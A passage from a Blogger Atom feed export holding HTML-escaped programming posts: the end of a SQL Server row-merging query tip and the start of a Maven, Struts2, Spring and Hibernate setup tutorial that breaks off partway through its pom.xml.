FK2&lt;span style=&quot;color: grey;&quot;&gt;.&lt;/span&gt;ID&lt;span style=&quot;color: grey;&quot;&gt;=&lt;/span&gt;PK&lt;span style=&quot;color: grey;&quot;&gt;.&lt;/span&gt;ID&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-no-proof: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;FOR&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;XML&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;PATH&lt;/span&gt; &lt;span style=&quot;color: grey;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color: grey;&quot;&gt;))&lt;/span&gt; &lt;span style=&quot;color: grey;&quot;&gt;,&lt;/span&gt; 1&lt;span style=&quot;color: grey;&quot;&gt;,&lt;/span&gt; 2&lt;span style=&quot;color: grey;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: red;&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color: grey;&quot;&gt;))&lt;/span&gt;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;AS&lt;/span&gt;
FK_Value_1&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: blue; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-no-proof: yes;&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-no-proof: yes;&quot;&gt;
PRIMARY_TABLE PK&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
This query will be performance wise slow but, in SQL Server we don&#39;t have group concat like MySQL so, we will have to bear the pain.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/6913419553593272829/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2013/08/merge-multiple-rows-in-sql-server.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/6913419553593272829'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/6913419553593272829'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2013/08/merge-multiple-rows-in-sql-server.html' title='Merge Multiple Rows in SQL Server'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-6569552459795184103</id><published>2013-07-24T05:57:00.000-07:00</published><updated>2013-11-06T00:51:55.578-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Maven + Struts2 + Spring + Hibernate + Struts2-Convention-Plugin</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
After spending so many days and nights and days again I finally be able to achieve the basic Architecture. Well, the basic architecture was quite simple and you will be able to get a lot of tutorials online about it but, probably they have few things missing (i.e. Maven or sometimes Struts2-Convention-Plugin).&lt;br /&gt;
Reason behind choosing this structure is to make an easy expandable application structure with an isolation in between layers.&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Reason Behind:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt; Maven&lt;/b&gt; is just used for dependency management of libraries and easy deployment.&lt;br /&gt;
&lt;b&gt;Struts2&amp;nbsp;&lt;/b&gt;is used for UI.&lt;br /&gt;
&lt;b&gt;Spring &lt;/b&gt;for service layer, as we all know we can easily change implementation which will be helpful for us to entertain the change request.&lt;br /&gt;
&lt;b&gt;Hibernate &lt;/b&gt;for ORM that will play with the database.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDgtJxMOp4WJjxXt1aQ1B1gk1VA05ZBS3BLOTPxpd1nUamljRGo2U2XFKDTNTDINKWzuy6v-WmKNe7_gOq6y4KiQx5A5g76_4oh1DbCfmBfrJzRZM0lsMC45gZi1uBkxge1geCesLdhjxK/s1600/Struts-Spring-Integration.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;187&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDgtJxMOp4WJjxXt1aQ1B1gk1VA05ZBS3BLOTPxpd1nUamljRGo2U2XFKDTNTDINKWzuy6v-WmKNe7_gOq6y4KiQx5A5g76_4oh1DbCfmBfrJzRZM0lsMC45gZi1uBkxge1geCesLdhjxK/s320/Struts-Spring-Integration.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;b&gt;Directory Structure:&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7hOo8JsoZph6EOEwYHNAyR2H7JlQ_dKUvlrx3K0rAz4LJHFTEeG2czTrrK6w_sKtLzI1u_dWiMbTi_vcyHGXarPgrU_dN-rLeUA2oDuWI7vmADlzAfeqsEH_9TGbOyqX7jOh-J89hDd9k/s1600/DirectoryStructure.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7hOo8JsoZph6EOEwYHNAyR2H7JlQ_dKUvlrx3K0rAz4LJHFTEeG2czTrrK6w_sKtLzI1u_dWiMbTi_vcyHGXarPgrU_dN-rLeUA2oDuWI7vmADlzAfeqsEH_9TGbOyqX7jOh-J89hDd9k/s320/DirectoryStructure.png&quot; width=&quot;178&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Don&#39;t worry about such a big directory tree. One by one I will tell you each and everything about it. Before starting everything we will start telling you about the pom that will be required to setup the artifacts of your project.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;b&gt;pom.xml&lt;/b&gt;&lt;/div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;project&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;xmlns&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;http://maven.apache.org/POM/4.0.0&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;xmlns:xsi&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&lt;/span&gt;&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #7f007f;&quot;&gt;xsi:schemaLocation&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;http://maven.apache.org/POM/4.0.0
  http://maven.apache.org/maven-v4_0_0.xsd&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;modelVersion&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;4.0.0&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;modelVersion&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;TestWar&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;TestWar&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;0.0.1-SNAPSHOT&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;packaging&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;war&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;packaging&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;description&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;background: silver; color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt; mso-highlight: silver;&quot;&gt;dependencies&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #3f5fbf; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;!-- Struts 2 --&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;org.apache.struts&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;struts2-core&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
